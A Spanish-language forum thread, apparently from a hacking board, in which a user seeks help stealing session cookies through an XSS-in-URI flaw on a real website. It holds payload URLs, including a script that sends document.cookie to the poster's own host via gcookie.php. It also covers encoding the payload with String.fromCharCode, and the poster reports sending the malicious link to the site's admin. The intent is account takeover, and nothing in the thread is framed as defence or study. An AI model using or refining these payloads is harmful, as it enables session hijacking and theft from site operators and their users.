me borraron el anterior post donde pregunté esto.. fui a mirar las normas y lo único que incumplía era el no haber puesto el tag de duda "[?]" en el título así que vuelvo a preguntar:

en una web vulnerable de esta forma, "XSS in URI":

http://www.web.com/index.php/>"><script>alert(document.cookie)</script>

de esa manera aparece un alert diciendo la cookie
entonces, es vulnerable pero si pongo un alert diciendo hola por ejemplo, no funciona

http://www.web.com/index.php/>"><script>alert('hola')</script>

entonces,
 si intento robar la cookie de esta manera:

http://www.web.com/index.php/>"><script>window.location='http://miweb.com/gcookie.php?c='+document.cookie;</script>


No funciona, no se guarda la cookie ni sucede nada.

entonces , ésto porqué es ? ... y cómo puedo hacer para poder robar la cookie..
gracias.

a ver, te comento:


si , ésto sí funciona, sale el alert diciendo "ABC" o por ejemplo de esta manera;

sale "hacked"

ok, pero entonces, cómo transformo todo esto:


a String.fromCharCode ?

-

y otra pregunta, yo javascript no sé, qué línea de código era la que tenía que llevar el archivo "script.js" ?

porque lo he buscado buscando en tutoriales XSS pero nada
y no me acuerdo qué línea de código era la que hacía que se abriera el archivo y tal...


bueno, espero tu respuesta, gracias de nuevo !

ah yo transformaba todo , hasta lo de "window.location" xD
ahora probaré, gracias !

si gracias ya hice todo
pero le pasé la   url maligna y parece que no he tenido suerte de que el admin no está logeado siempre con eso de "recordarme en este equipo"  .....